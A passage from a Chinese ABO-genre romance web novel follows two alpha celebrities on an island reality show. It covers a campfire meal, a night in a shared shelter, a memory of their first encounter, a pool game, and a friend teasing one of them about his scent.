刚煎出来的食物还有些烫,方柏嘉在嘴里翻炒两下,这才来得及细细品尝肉味。 午餐肉本身已经经过腌制调味,光是用油简单地煎一下就足够激发出香气,根本不需要额外的佐料点缀。 方柏嘉嚼着嚼着,整个人像是被上了发条的机器人,录制了一天综艺后呆呆的眼神肉眼可见地慢慢变亮。 “好吃。” 他抓着汤昼恒的手腕,凑上去把剩下的半块叼着吃完,脸颊一动一动的,情不自禁地说:“还好有你,否则今天晚上没肉吃了。” 荤的果然就是和素的不一样,一口下去,让人幸福感都提升了百分之两百。 汤昼恒言简意赅:“知道你吃不了五花肉。” 停了停,慢条斯理地说:“感谢我吗?” 方柏嘉不太理解他问这话是何意,但还是点头:“嗯。” 这个无法否认。 汤昼恒得到肯定答案,接着问他:“所以你该怎么叫我?” 第24章 第 24 章 这是他第一次知道对方的…… 怎么叫……? 方柏嘉心里条件反射似的想, 叫你老公啊。 可是你敢答应吗。 这个问题乍一听有点让人摸不着头脑,方柏嘉搜刮了片刻回忆,想起他下午的那声“哥”。 汤昼恒是想让他再重现一遍吗? 可他当时叫那一声完全是无心的。种种情节推动下水到渠成, 大脑都还没转过弯,音节自己就从舌尖跳了出来。 要他现在有意识地再叫…… 呵呵, 有点尴尬。 虽然只是一个对年长者的简单称呼,方柏嘉莫名就是有点张不开嘴, 总感觉哪里别扭。 好像一旦叫了这声, 他们的关系就会彻底迎来一个新的节点。 方柏嘉下意识感到紧张。 他呆呆地对着汤昼恒看了一会儿, 连嘴里咀嚼的动作都慢下来, 像猫或者狗一不想理人就会装傻一样, 空气中无端沉默两秒, 汤昼恒很贴心地又夹了一块午餐肉来喂他,及时阻止了异样氛围的产生。 “嗯,那个——”对方这样, 反而让方柏嘉觉得不好意思。 他囫囵把嘴里的东西嚼碎咽下去, 借着嘴部的假动作有些模糊地说了一句:“谢谢哥。” 汤昼恒不知道是不是听见了这句话, 眼睛盯着餐盒底部,嘴角勾了勾。 只说:“还有。” 下一块又给了方柏嘉,下下块才送进自己嘴里。 方柏嘉盛情难却地接了, 觉得自己光这么等着被投喂也不是一回事, 举起手来表示:“我处理一下食材。” 说干就干,方柏嘉把节目组提供的小刀拿出来,用所剩不多的矿泉水冲洗了下,放在火上消毒,将他们要用到的食物都切成丁,码在铝饭盒的盖子上。 这期间因为他双手不便, 汤昼恒还在往他的嘴里递午餐肉,方柏嘉都羞愧了,总感觉对方煎好的肉大部分都进了他肚子里,汤昼恒就尝了两三片。 明明是别人想办法弄来的东西,怎么反倒是他享用得多。 “我吃够了,你自己也多吃点。”方柏嘉良心过意不去,开口推脱。 汤昼恒没说什么,剩下小半盒的午餐肉,他没再拿来煎着吃,而是和其他菜一样切成丁,和提前泡好的大米一起放进空出来的饭盒里,浇上用调味品调成的酱汁,变成一道什锦闷饭。 淋了酱油的焖饭看上去色泽诱人,因为加了蔬菜、菌菇、午餐肉等等食材在里面,口味层次也相当丰富鲜美,出乎意料的算是一道很不错的晚餐。 没有多余的餐具可以分饭,两人干脆就着同一个饭盒,你一口我一口地解决起晚上这顿饭。 吃到一半,汤昼恒忽然想起什么,问身旁的摄像大哥:“你们要不要也吃点?” 方柏嘉怔了怔,一秒之后反应过来,附和道:“你们跟我们拍了一天,应该也饿了,不介意就垫上两口——这个饭还挺好吃的,底下有一层锅巴。” “尝尝我们的手艺。”汤昼恒又说。 两人忙活了一下午,这两个vj就跟了一下午,虽然不需要像嘉宾一样干活,但也走了不少路,中间甚至没来得及吃饭,只补充了点零食垫肚子,估计现在早饿了。 他们就在旁边跟拍,自然闻到了焖饭的香味,早就有点蠢蠢欲动。 听了二人的话,盛情难却,跑到远处的商务车上要来一次性餐具,舀起一勺焖饭品尝。 “嗯!——好吃,里面加了酱油,就很香。” “菌菇也特别鲜,咬下去会有汁水爆开。” 他们的评价很快吸引了其他工作人员的到来,大家纷纷举着勺子加入鉴赏美食的行列,一时间,在场的景象变得热闹非凡。 …… 这个夜晚似乎要比想象中好过很多,甚至让方柏嘉体会到了一丝轻松、惬意,白天里四处奔走的疲惫也随之消失淡化了。 就是总感觉好像忘了什么。 饭后,方柏嘉和汤昼恒坐在火堆边吹风,遥望远处的大海。 夜风呼啦啦灌进衣袖。 深蓝天幕像是一枚微微向上凸起的镜面,贴合着地球的弧度不断向远处伸展,干净而又澄澈。 没怎么经过开发的海滩上连照明灯都欠缺,视野之内唯一还算明亮的光源只有近处眼前橙红跳跃着的火光,海水的咸味夹杂着一片片如织的浪潮向他们扑来。 五月底的南方海岛已经很热,白天的气温能达到二十快三十度,到了晚上,夜色一降,海风加倍从海面卷向沙滩,体感就变得冷了。 方柏嘉一开始还觉得凉爽,后边手臂也渐渐浮出鸡皮疙瘩。 时间差不多,两人打算进庇护所休息了。 就在这时,方柏嘉终于想起来他忘记了什么。 他们这不是一个户外竞技真人秀节目吗?这一期的目标好像是抓内鬼来着。 虽然理论上说汤昼恒好像确实是因为他才被连带着驱逐过来的,但有没有那么一种可能,汤昼恒真的是“内鬼”? 他的警惕心迟疑地冒上来了一瞬,对汤昼恒道:“话说……你该不会趁我睡着的时候把我‘了结’了吧?” 汤昼恒愣了一下才明白过来方柏嘉的意思,他歪了歪头,伸手指指自己,好像在说:我? “如果我是,你现在要怎样?” 方柏嘉:“……” 也不怎么样。 总共就这么一个庇护所,他也不可能因为怀疑对方就自个儿在外面蹲上一晚。 而且汤昼恒就算真是内鬼,今晚把他刀了,不就恰好坐实了他身份? 对方哪有那么傻。 方柏嘉撇撇嘴:“我就中途离场去幕后吃吃喝喝看你们接着玩。” 他还乐得轻松呢。 两人一前一后地钻进庇护所,准备睡觉。 汤昼恒将头探出庇护所外,似乎是确认节目组的人都走远了,才转回身来说:“你的阻隔贴不打算撕下来么。” “啊。”方柏嘉被他这么一提醒,也想起来了。 他本来还有点犹豫,明天早上要是被摄像师搞偷袭怎么办—— 却突然想到自己现在和汤昼恒睡在一起,第二天起来肯定会多少沾上对方的气味,这样一来,就算有人闻到了他腺体散发出来的味道,也不会有疑心吧? 于是小声说:“要撕的。” 汤昼恒嗯了一声:“我帮你,顺便看下你的腺体怎么样了。” 方柏嘉迟疑了一下,没有拒绝,坐在庇护所里的地上乖乖转过头,任由对方撕下他的阻隔贴。 黏腻而不透气的贴片被从后颈揭开的瞬间,仿佛千斤的重担当场落地,方柏嘉顿觉一阵轻快。 突然爆发开的拉扯疼痛和酸胀感又让他忍不住咂舌:“啧……” “你的伤口好像长得有点慢。”庇护所里没有灯光,汤昼恒打开健康手表的照明功能,冲着方柏嘉的后颈照了一会儿,说。 二十出头的alpha血液循环很快,按理说半个月完全够一道不算深的皮肤损伤痊愈,然而汤昼恒上次咬过的地方到现在都还结着痂。 两次咬过的牙印一道邻着另一道,深浅不一的红痂在夜间光照的映衬下显得脆弱又狰狞。 阻隔贴捂了一天,整块肉都变得又红又热,被注射药剂的微针穿刺过的地方还有些发肿。 方柏嘉转回头,想起这还是他上次执意要汤昼恒给他标记而不是接吻的后果,他怕汤昼恒讲自己,有点心虚地道:“应该是阻隔贴戴太久了。” 易感期结束没两天就要出门打卡上班,每天都要遮着伤口,恢复肯定不如平常好。 方柏嘉装模作样地伸了个懒腰,躺了下来:“明天还要早起录制,得早点睡。”他拍拍身下的防潮垫,“快来,试试这里怎么样。” 汤昼恒没有多讲什么,跟着他一块儿和衣睡下。 两个人挤到一起才发现,防潮垫确实小了。 90厘米的宽幅,每个人平分下来只有45厘米的空间。 ……方柏嘉的肩宽都远不止45了。 想要双方都平躺是不可能的,一个人平躺另一个人侧睡也有点像虐待,只能礼尚往来,都侧着身子节约空间。 方柏嘉都有点怀疑节目组设置这个“驱逐”环节的用意了。就像别人说的,要是分到一对AO过来住庇护所该怎么办?这特么也太暧昧了吧。 得亏最后选出来的是他和汤昼恒。 不过实际效果上似乎也没有很大差别。 正犹豫着是面冲向汤昼恒还是外边没人的那一头时,一片窸窸窣窣的杂草摩擦声中,身边人冷不丁地开口:“要接吻吗?” “啊、啊?”一瞬的呆滞后,方柏嘉被吓了一跳。 为什么这么突然—— 下一秒反应过来,对方的意思应该是他的腺体状态不适合再进行标记,所以问他要不要改成以接吻的方式进行安抚。 这时,汤昼恒关掉了手表的灯光。 一片沉寂中,对方清沉的嗓音仿佛就落在他耳畔。 “距离上次‘治疗’已经过去一个星期,该第三次脱敏了。”果然,汤昼恒这样对他说。 然而不知道为什么,方柏嘉好一会儿没说话。 汤昼恒在黑暗中似乎感受到他的纠结,缄默了片刻,轻声问:“不想亲?” 不过不意外,毕竟上次在车里接吻也是出于迫不得已的情况。 “也不是——”方柏嘉条件反射般地回应,声音渐渐微弱下来,不知道在想什么,纠结了好几秒才和他商量,“可不可以等录制完回酒店?嗯……我还有点别的事想和你说。反正就一天时间了,往后延长一点应该没什么。” 汤昼恒没有问他“别的事”是什么,轻轻嗯了一声。 许久无言,猜测今晚的对话已经结束,方柏嘉慢吞吞转过身,背对他。 狭窄的庇护所内空气异常的安静。 方柏嘉面冲向庇护所一侧压着沉沉枝叶的“墙壁”,心脏却不争气地加快起来。分明外面还正有海浪激烈地拍岸,却仿佛这个只有二人存在的空间正被人从世界中单独拉远。 看不到对方的模样,也不清楚汤昼恒此刻在干什么,是否睁着眼。只能根据从背上传来的一大块平实的温度猜测,那人现在正和他一样面朝外地躺着。 “晚安。”一片沉默中,突然间,汤昼恒这样对他说了句。 很罕见地和汤昼恒同床共枕,方柏嘉半张脸往毯子里缩了缩,也说:“……晚安。” 却其实好久都没能睡着。 方柏嘉不想让对方知道他还醒着,显得两人没有话说,太尴尬,干脆许久都不动一下,装作自己已经沉入了梦乡。 他就这样静静地维持一个姿势了好一会儿。实在觉得不太舒服,想到汤昼恒也正背对着他,而且呼吸平稳,说不定已经睡着了,便想要翻个身活动活动筋骨。 刚准备动作,庇护所内陡然传出清楚的摩擦声。 身后的防潮垫在压力的作用下不规则地下陷,下一秒,脖颈后方冷不丁拂来一阵温热海潮般的气流—— 从汤昼恒口部与鼻腔间喷出的呼吸,刚好吹洒在他摘了阻隔贴的腺体上。 方柏嘉整个人一个激灵,酥麻的感觉顿时从脊椎掠上天灵盖。 他猛一下咬紧下唇,努力忍住没叫出声。 好险。方柏嘉突然开始庆幸自己的第二嗅觉暂时失灵了。 如果没有失灵的话,现在的他一定会很难熬。 黑暗中,方柏嘉闭上的睫毛一通细微的乱颤,蹙起的眉心好一会儿才松缓下来。 他不知道的是,在他背后,汤昼恒正静静地睁着双眼,盯着他模糊而不明确的肩颈线条打量。 这里。 那个alpha留下来的信息素竟然还是没有完全消失。 汤昼恒默不作声地随着正常的呼吸频率摄取着周遭的味道。 尽管已经没有白天明显,但还是让人觉得很不舒服,就像指甲上的倒刺一样让人无法忽略。 方柏嘉是真的没有察觉?还是觉得这样也可以? 汤昼恒琢磨了半天也没有结果。 眼不见心不烦,他索性停止思考。难得幼稚一回,面无表情地散发出自己的信息素,将那阵气味彻底地掩盖。 而方柏嘉毫无察觉。 * 不知道是不是汤昼恒就躺在旁边的缘故,方柏嘉晚上就做了和这人有关的梦。 梦里的他才十七岁,每到周末放了学要去距离学校五公里的奶茶店打工。 方柏嘉就是在奶茶店里认识的汤昼恒。 奶茶店的店长是某三线男演员的粉丝,恰巧有一阵该男演员有部他当主角的小成本青春偶像网剧上线,店长每天就在店里反复播放已更新的剧集内容。 一个由三线演员当主角的小成本网剧,来当配角的只会是比他更不火的四五六七八九线,彼时还正处在四五六七八九线的汤昼恒就是其中之一。 这剧在当时并不火,内容也是青春伤痛略狗血那一套,汤昼恒饰演的男三是女二青梅竹马的邻居,从小就和女二一起上下学,替她抄作业、拿书包,关心她的喜怒哀乐,会在家庭不幸福的女二被家里人训时出面替她说话…… 但是女二喜欢男一。 故事梗概差不多就是这么几男几女交错纠缠的校园爱情故事。 种种情节是方柏嘉觉得看完都不会浪费一颗脑细胞的水平。 作为一个还处在中二期的alpha,彼时的方柏嘉打心眼里对这种没营养的内容嗤之以鼻,生怕拉低了自己的逼格。每当店里和他同龄的omega店员们围在一起叽叽喳喳地讨论剧情,他都会做出一副格格不入的高冷样子。 直到有一天无意中一抬眼,一张明晃晃属于年轻alpha的脸从电视上晃过。 帅得惊为天人。 方柏嘉一下就被击中,不得不承认这张脸长得很在自己的点上,而且好看得跟其他人根本不在一个图层,但凡几个角色同时待在一个画面里,都让人很难不第一眼就注意到他。 一开始方柏嘉还很叛逆,心想这什么破剧,他不可能看的。可汤昼恒那张帅脸在屏幕上飘来飘去,他的心也跟着荡来荡去。 最后还是投降了,开启了一边看剧一边吐槽的欣赏美色之旅。 没办法,人就是这么浅薄的生物。 剧集循环播放了几遍,方柏嘉对男三什么时候出场已倒背如流,只要事情不急,他都会提前几分钟慢下手里的工作,仅仅只为了等下会在里面出现个几分钟的汤昼恒。 青春期分化出第二性别后,他就知道自己和身边可见的其他Alpha不一样。他对Omega——这类据说和Alpha属于绝配的人并不来电,但要说他到底偏好哪个性别,现实生活中似乎也没什么能让他喜欢上的人作参考。 那段时间方柏嘉正在尝试认清自己性向的时期,汤昼恒的出现无疑是一枚重磅炸弹,一下就让他明确了自己的爱好以及定位。 喜欢帅哥。喜欢超级无敌帅的Alpha大帅哥。 还得是很温柔的那种。最好是比较爱笑的,心地善良的,无论做什么事都对他很包容的。 到了月末,剧集不更新。 看汤昼恒那张脸看出了感情,突然有那么两天没有新鲜面孔可瞧,方柏嘉居然还觉得不习惯。 奶茶店的工作结束,在返程回家的公交车上,方柏嘉拿出手机,第一次认认真真在搜索栏上打出剧集和角色名,然后静静屏息等着搜索结果跳出。 上面显示,男三扮演者:汤昼恒。 汤……昼恒。 方柏嘉嘴唇动了动,无声地念出这三个字。 这是他第一次知道对方的名字。 第25章 第 25 章 觉得汤昼恒想吻自己。…… 这一晚上, 方柏嘉睡得不怎么好。 庇护所临近海边,晚上夜风大得仿佛野兽咆哮,把系在外边的塑料膜和棕榈叶都吹得哗哗响。 方柏嘉累了一天, 本以为自己会昏迷得很快,结果断断续续折腾许久才失去意识。 一觉睡到天蒙蒙亮。 汤昼恒昨晚于手表上设下的闹铃突兀响起。 近乎刺耳的声音回荡在狭小的庇护所里, 像是惊魂索命,很快就吵醒了空间中的二人。 “汤昼恒……” 方柏嘉迷迷糊糊地揉着眼睛, 推了推身边的人。 “你的闹钟, 关掉。” 他一下就被惊起, 实在受不了这声音, 感觉快要神经衰弱, 不堪其扰地用手堵住耳朵, 把脸缩进毯子里,额头却不期撞上什么硬物。 方柏嘉一抬头,发现是对方的锁骨。 汤昼恒动了动, 抬起手, 将闹铃划走。 “六点了。”过了一会儿, 他用平静的嗓音睡意犹浓地说。 因为刚醒,那人的声线变得比平时更加低沉一些,带有一点鼻腔的共鸣。声带的震颤顺着躯体一路传导, 在方柏嘉与他肌肤紧贴的部位带起一片麻麻的涟漪。 方柏嘉突然感觉不对。 震感怎么会从他的头下传来? 而且他才发现, 自己头底下枕着的东西太软了。 甚至还有点弹性,温热的。 因为他们没有积分买枕头,晚上睡觉甚至没有可以靠头的地方。两人是把自己带来的外套团吧团吧垫在下面,才勉强起到了一点抬高的作用,但也绝不会是这种触感。 方柏嘉抬起一点头,意识到自己枕的居然是汤昼恒的胳膊。 再低头一看, 他的身体也和对方挨着,自己正以一个和眼前的人抵足而眠的姿势被汤昼恒抱在怀里,那人的另一只手臂甚至还搭在他的腰上,严丝合缝地扣住,沉甸甸地发烫。 “我们这是怎么……” 话到一半,方柏嘉闭了嘴,想起来了。 昨天晚上,他也是像刚才一样。 防潮垫对他们两个身高大于等于185的alpha来说到底还是太小,方柏嘉昨夜好不容易睡着,却因为空间实在拥挤,好几次在睡梦中下意识翻身,都掉到了防潮垫外面的塑料膜上,被子也从身上滑下去。 塑料膜底下垫了各种杂草枝叶,隔着一层中间物都能感觉到扎人。 方柏嘉又冷又不舒服,好不容易翻回垫子,下次睡迷糊了还是照样掉。 汤昼恒睡眠不深,也被他的动静惊醒,不知道是出于好心,还是单纯觉得他这样来来回回太吵,半梦半醒中长臂一伸,就着方柏嘉滚过来的姿势将他带进怀中,搂紧。 年轻alpha的躯干恒长地散发着热气,胸膛宽阔、结实而高挺,给意识不清的方柏嘉带来莫大的安全与舒适感,觉得这触感有些熟悉,睡意朦胧中下意识朝热源处靠拢,像归巢的鸟儿般依偎在他脖颈处,后边终于再没乱滚过。 然而方柏嘉也不可能一点儿不动。 一觉睡醒,他上半身还算安稳,下半身却灵活走位,一条腿探进汤昼恒的双腿中间,另一条腿则彻底大喇喇地抬起来,直接横跨着搭在了汤昼恒的大腿和膝盖上,和他树根一样纠缠交错在一起。 方柏嘉靠近床面的那只手臂屈起,手掌支在脸下,抵在他和汤昼恒的中间,也成了丈量他和对方胸膛间缝隙的标尺。 见到这个画面,原本还昏昏欲睡的方柏嘉冷不防睁大眼睛,抬起头,额头刚好沿着对方的颏尖外侧划过。 恰巧这时,汤昼恒有点不明所以地低下头来。 柔软的唇面轻轻来到他的眉心,几乎像是落下了一个吻,唇隙间自然吐出的气流都集中于一点。 方柏嘉吓了一跳,连忙向后撤开快十公分,腿也飞快地从对方那里收回来,结果这一下用力太猛,忘了两人睡的地方就那么点,下一秒身子一仰,又像昨晚一样,直接滚到了防潮垫外。 “……” 再一次地,汤昼恒眼睛手快地将他捞了回来。 两人的间距骤然像弹簧一样伸长又拉近,回归到未睡醒前的模样。 方柏嘉顷刻间屏住呼吸,大气也不能喘,眼神飘忽着不敢往汤昼恒的眼睛里看。 汤昼恒仿佛没感受到这般异样的气氛,沉着说:“副导演跟我说早上六点半集合,你要是困,还可以再睡一会儿。” 给了他一个可以继续留在原地的台阶。 方柏嘉眼神还怔怔的,听他这么说,第一时间抬头看向庇护所的出口——还好,没有工作人员的身影。 他这才放心一点,躺回原处。 一起来见到的就是这样的光景,方柏嘉刚恢复意识的头脑还转不大动,愣愣地缩在毯子里出神。又因为两人这会儿肌肤相贴,心跳不自主地变得很快。 本来应该和汤昼恒拉开距离的,可方柏嘉想到自己和汤昼恒凑在一起睡了一夜,现在整个毯子中间这块都被他们的体温烘得暖融融的,清晨的海边还有有点冷,再往外挪肯定是凉意居多了,不由莫名有些舍不得当下的这份温暖。 节目组给的毯子不算大,一翻身、一抬手都容易把被子从另一个人身上抽走。 要不然还是不挪了吧。方柏嘉给自己找理由。 方柏嘉慢吞吞的,顺着汤昼恒那句话应了声:“哦。” 便真的没再动。 他闭了闭眼,又睁开,下巴蹭蹭毯子的边缘,想在被窝里再赖一会儿。 忽然间,感觉到一注难以忽视的目光正聚焦在自己的下半面部。 汤昼恒在看他的嘴唇。 方柏嘉的背脊立时变得有些僵硬,一下联想到不久前在宿舍卫生间那次相似的经历,觉得汤昼恒想吻自己。 第六感往往来得莫名其妙,但也不能说是空穴来风。与其说是玄之又玄的直觉,不如说依据早在潜移默化中渗入五感。 比如突然升高的体温,频率变快的呼吸,人眼所能通过微妙的面部线条变化识别情绪和意图的能力在这一刻达到极致。 预感越来越强烈,方柏嘉睫毛慌乱颤动得像是扑闪的蝶翼,砰砰跳动的血管脉搏声在耳边无限放大。 当然,最主要让他有这个想法的原因,还是因为他们现在离得太近了。方柏嘉稍微掀起眼睑就能瞥见对方同样淡粉色的嘴唇,看清汤昼恒脸上的每一个肌理纹路。 这么短的距离,又是这么明显而长久的注视,到底代表和意味着什么,身为一个成年人,方柏嘉不可能不懂。 疑心自己是否像上次那样感觉错误,又觉得对方想亲他是正常的,汤昼恒都AA恋了,对他一个这么好看、这么优秀的alpha有感觉怎么了。 生理感觉也是感觉。说明他基因很强,所以才容易引起别人的冲动。 方柏嘉正这样想着,汤昼恒侧躺着的身形突然一动,似要朝他靠近。 一瞬间地,他几乎是下意识闭上眼。 面庞上汗毛微动,像原始的祖先那样仅仅根据周遭的气流来判断生物之间的距离。 方柏嘉想要抿嘴,又生生忍住。 炙热气流轻扫,却在下一个刹那间转变航向,往斜侧方向驶去。 方柏嘉察觉不对,睁开眼,却见汤昼恒伸手从他肩膀后的衣服上面撕下了什么东西。 举到眼前一看,是方柏嘉昨天晚上摸黑揭下来的阻隔贴。 当时他随手对折了一下就放到了旁边的塑料膜上,想着等明天起来再扔,现在看来大概是他在庇护所里滚来滚去的时候不小心又黏上了。 汤昼恒说:“粘住了。” “……” 暧昧氛围立时消失殆尽。 方柏嘉还好反应快,闭眼的时间不到半秒又迅速睁开,紧接着迅速眨了两下眼,做出因为对方突然逼近受到惊吓的样子,道:“谢谢啊。” 他忽然觉得自己也有点演戏天赋。 方柏嘉讪讪接过垃圾,不知道该扔哪儿,于是攥在手里。 其实已经尴尬得在毯子下面脚趾动工了。 不会吧,难道他感觉错了,自己其实是一个没有AC数的自恋狂,以为对方对他有意思但其实没有? 不对。下一秒,方柏嘉就否定了自己。 他在这方面一直很敏锐,怎么可能判断出错? 汤昼恒刚才想亲他的意图就是很明显。 可对方为什么临时改变主意,突然又不亲了呢? …… 明明他就算真亲上来,方柏嘉也不会怎么样。 要不是汤昼恒就在旁边看着,方柏嘉真想现场就表演一个辗转反侧。 出了这么个事,方柏嘉也在对方身边躺不下去了,没过多久,两人都坐了起来。 方柏嘉在自己带来的洗护包里取了片新的阻隔贴戴上,和汤昼恒一块儿出了庇护所,简单的洗漱过后,便按照工作人员的指示,前去岛屿中心和其他人会和。 一大群人吵吵嚷嚷地在公馆内部会面,原本的两人队伍立刻被人冲散。 趁着汤昼恒在旁边和嘉宾里另一位演戏的前辈聊天的功夫,李子晋鬼鬼祟祟挤到方柏嘉的身边。 方柏嘉见到他来,冲他打了声招呼。却见李子晋面色诡异地皱着眉,猛一下凑到方柏嘉肩头深吸两口,然后跳开:“我靠,你身上这是什么味道,这么浓?” 味道? 方柏嘉听他一说,抓起袖子闻了闻。 “哪有味儿,你闻错了吧。” 看他一脸茫然,李子晋更惊讶了,反手指着自己,压低声音说:“我闻错?大哥你被腌入味了知不知道?要不你找个人问问,你这樱桃味浓得随便一个站你旁边的人都能闻到,不知道的还以为你和那谁昨晚干了什么呢。” “……” 方柏嘉才意识到,李子晋指的是信息素。 这件事,他昨天晚上也不是没有预料。 但哪有到腌入味那种程度。 他起先不太相信,认为李子晋是在打趣他,故意夸大了实际效果,可自己又感知不到,万一对方说的是真的呢? “真的假的?” 方柏嘉又抓起胸前的衣服闻了第二下,还是闻不出来。 心里忍不住想,怪不得刚才遇见其他嘉宾,好几个人脸上的表情都有点奇怪,现在看来原因在这儿。 方柏嘉转头,条件反射般地看了看站在不远处侧对着他的汤昼恒一眼,窘了一下,但反应很快,说:“什么干了什么?你知道我跟他晚上住的地方有多小吗,沾上些信息素很正常。” 其实心虚地暗忖,难道是他和汤昼恒抱着睡了一晚上的缘故? 倒也确实不能说什么也没干。 可汤昼恒早上起来怎么没有提醒自己? ……不对,这气味是汤昼恒的,对方可能也早闻惯了,分不出是从谁身上发出来的。 方柏嘉给汤昼恒找好了理由。 李子晋眯起眼:“正常?我看未必——” 他似乎还想说些什么,导演却在这时忽然宣布要开拍了,话题只得暂时搁置。 方柏嘉不欲和对方多说,赶在开工前去找了工作人员,要来了信息素气味清除剂给自己喷上。 * 录制开始的第一件事,是查看前一天的战况。 令人意外却也不意外的事情发生了。 就在方柏嘉和汤昼恒被放逐到海边的昨天夜里,岛上竟然“死”了两个人。 两名“死去”的嘉宾被工作人员带去岛上的休息室,不被允许泄露任何和凶手有关的信息。 剩下的十人则分别阐述了自己前一天晚上的行动踪迹,试图证明自己的清白。 而方柏嘉和汤昼恒由于互相验证了对方的“不在场证明”,双双洗清嫌疑。 ——岛上既然“死”了人,就证明三个落脚点内至少隐藏着一名内鬼,庇护所里最多只可能有一名内鬼,另一个正常人没必要配合他说谎。 这时有人提出疑问:“关键他俩怎么确定在自己睡着的时候另一个人没有悄悄溜出去‘杀人’呢?” 方柏嘉听完这话沉默了一会儿。 还能有为什么,当然是因为他前面好长一段时间都没睡着,后面好不容易睡着了,还和汤昼恒抱在一起睡的。 汤昼恒有没有中途离开他能不知道么。 这种理由没法对外说明,方柏嘉申请节目组的场外支援,康导立刻声明,这两人昨夜的确始终都待在庇护所里,并没有外出过。 由此,方柏嘉和汤昼恒反倒成了在场唯二明牌“工作人员”。 拿着这层金水身份,二人翻身做主人,拥有了今日的豪华早餐奖励,而剩下的人则需要通过游戏来竞争早餐享用权,赢的人才能吃早饭。 这条规则一出,嘉宾们怨声载道。 “但是,”康导又话音一转,“二位也可以选择把食物分享给大家,这样你们原本的豪华大餐就会降级成普通早餐,但所有人不用比赛就能吃上。你们怎么选呢?” 方柏嘉听罢,和汤昼恒对视一眼,心照不宣地点点头。 “我们选择共享。” 康导:“为什么?” 方柏嘉说:“因为昨天的晚餐大家也都有和我们分享,算是投桃报李吧。” “而且其实我有悄悄从公馆拿走一罐午餐肉,”说到这里汤昼恒双手合十,对着昨夜公馆那四名嘉宾的方向做了个歉意的手势,“生活所迫,抱歉了。” 接下来的流程和昨天差不多,靠做一轮又一轮的游戏不断获取新的线索。 这天的最后一场比拼是水上大作战,需要嘉宾们从泳池边出发,一直游到最中间的漂浮气垫上,爬上去争抢悬挂在半空的“藏宝袋”,拿到之后,还要护送藏宝袋一路游到岸边掷入框中才算成功。 这回,方柏嘉和汤昼恒被分到了不同的队伍里,但李子晋仍然和方柏嘉一队。 比赛过程的混乱不必多说。 有人负责进攻,有人负责帮助队友把其他竞争者拉下水,有人专门在中途拦截或者护送被抢到的道具……所有人简直都跟疯了一样。 李子晋本以为自己只是个打酱油的,玩到后面也失去了理智,全场下来不知道挨了多少下别人的攻击,其中尤以汤昼恒的最多。 对方本来就是另一队中的主要战力,一米八/九肩宽腿长的身材,还有肌肉,拎起比较轻的omega跟玩儿一样,非要把李子晋这样的alpha搬起来也不是不行。 前一天和汤昼恒同队,李子晋只知道对方很厉害,但还不明白问题的严重性。直到这一场游戏下来,他在泳池少说被对方肘击了五六次,李子晋才明白什么叫人和人之间的差距。 玩到游戏最后,所有人都没力气了,甚至有好几个嘉宾体能支撑不住,只能退场观战。 方柏嘉头发湿了大半,一直在划水的胳膊酸得差点抬不起来,前脚刚帮助同队的一位omega登陆成功,后脚自己扒在边上,愣是尝试了两三次都没能顺利爬上来。 李子晋看见了,游过来帮他的忙。托着方柏嘉的腿,努力想把他抬到垫子上。 ——结果才碰到对方的肌肤表面,整个人就被从另一个方向赶来的汤昼恒撕膏药般毫不留情地拔下来拨到一边。 “……” 汤昼恒将他的位置取而代之,自己从后方揽住方柏嘉的腰,以十分轻柔的力道将他拽进水里。 与此同时,代表游戏结束的哨声响起,所有人都松了一口气。 汤昼恒的一条手臂还横在方柏嘉的小腹上,没有立刻拿开,低声问方柏嘉:“还可以吗?” 方柏嘉喘着气轻轻点了点头。到了泳池边上,却没有立刻离水,而是又趴在壁边休息了好几秒,才有些颤抖地手撑台面,试图借着水的浮力上去。 游在后边的汤昼恒看见了,见他动作慢慢的,像是力竭,几下上前,从身后抱着方柏嘉的双腿往上举了一下,对方这才顺利上岸。 第26章 第 26 章 你他妈汤昼恒梦A啊!…… 最后节目组还是做了回人, 在公馆里请嘉宾们吃了一次真正的大餐。 这期录制终于圆满结束,所有人坐船回到对岸酒店里休息时,已经是晚上快十一点。 在岛上时有太多人在场, 不方便讲悄悄话。 李子晋憋了一肚子话想说,一出电梯, 径直跟在方柏嘉身后去了他的房间。 门一关上,立刻向他抱怨:“你老公也太凶了吧?!平时看起来挺有礼貌的, 玩起游戏来那么野蛮。你看我这儿, 都有淤青了。” 李子晋撩起衣服展示。 “你注意到没有, 每次我过来帮你的时候他都会突然冲过来把我们拆散, 他太坏了!” 方柏嘉敷衍地扫他几眼:“嗯嗯, 差不多得了, 谁让你平时不锻炼的。他一星期去六次健身房,你能比?人家轻轻一掀你就飞了。” 李子晋目光幽幽地看着他,眼里写满了对叛徒的恨其不争:“你这个见色忘义的家伙。眼里没有对朋友受伤的慰问, 只有对你老公身材和体能的吹嘘!” 说完, 忽然又换了副表情, 意味深长道:“看你俩打情骂俏那个劲儿,看来你们最近关系不错嘛,说吧, 你和他发展到什么地步了。” 方柏嘉正拧开酒店房间里的矿泉水瓶喝水, 听到“打情骂俏”这个词,差点没喷出来:“……你别瞎用词汇,什么打情骂俏?” 他心里一惊,抹去嘴角溢出的水:“不知道你在说什么。” 李子晋不屑地从鼻子里呼气:“你是真不知道还是装傻啊?就你俩后面那表现,全场都看你跟他一对一了,在水里上演什么他逃他追他们都插翅难飞的, 怡姐都悄悄过来问我你们俩是不是关系挺不错。” “……” 方柏嘉试图回想。 作为队伍里的青壮年Alpha,一到了比赛时刻,方柏嘉和汤昼恒都自然而然地成为了自己所在那方的主力,也首当其冲地成为了另一人的攻击和防备对象。 方柏嘉记不清自己有多少次刚刚碰到藏宝袋就被汤昼恒从后边拖着腰一块摔下水,又有多少次在半途就将汤昼恒拦截下来,抱着鱼死网破、我不舒服你也别想好过心情拖住对方,为其他队友争取机会。 他们彼此牵制着,一来二去,反而淡出了气垫上的主战场,时间大部分都耗在了阻碍对方行动上。 脸上不正常地热了热,方柏嘉忍不住反驳:“哪有,你说的也太夸张了。就是正常比赛而已,我如果不去拦着点他,你们其他人还有出手的机会么。” 说到后边声音越来越小,却也开始怀疑这话的真实性。 难道他没有在这之中夹杂着一点点故意要和汤昼恒制造更多肢体互动的私心,才总是故意给对方使绊么? 平常连彼此之间稍微靠近一些都会脸红心跳的人,到了水下,却可以肆无忌惮地以游戏的名义进行更直接的身体接触。腿缠着腿,手抓着手,从后边把他整个人抱住叫他动弹不得…… 肌肤接触到的地方湿冷却也滚烫,不知道是因为游戏的激烈还是生理上面对喜欢的人时的反应更多。 那些原本并没有被注意到的细节,似乎也都在这时浮上水面。 “你还给我演?”李子晋冷笑一声,突然凑近过来,在他身上嗅了嗅,“现在倒是闻不到了。早上你身上的味道要怎么讲?” 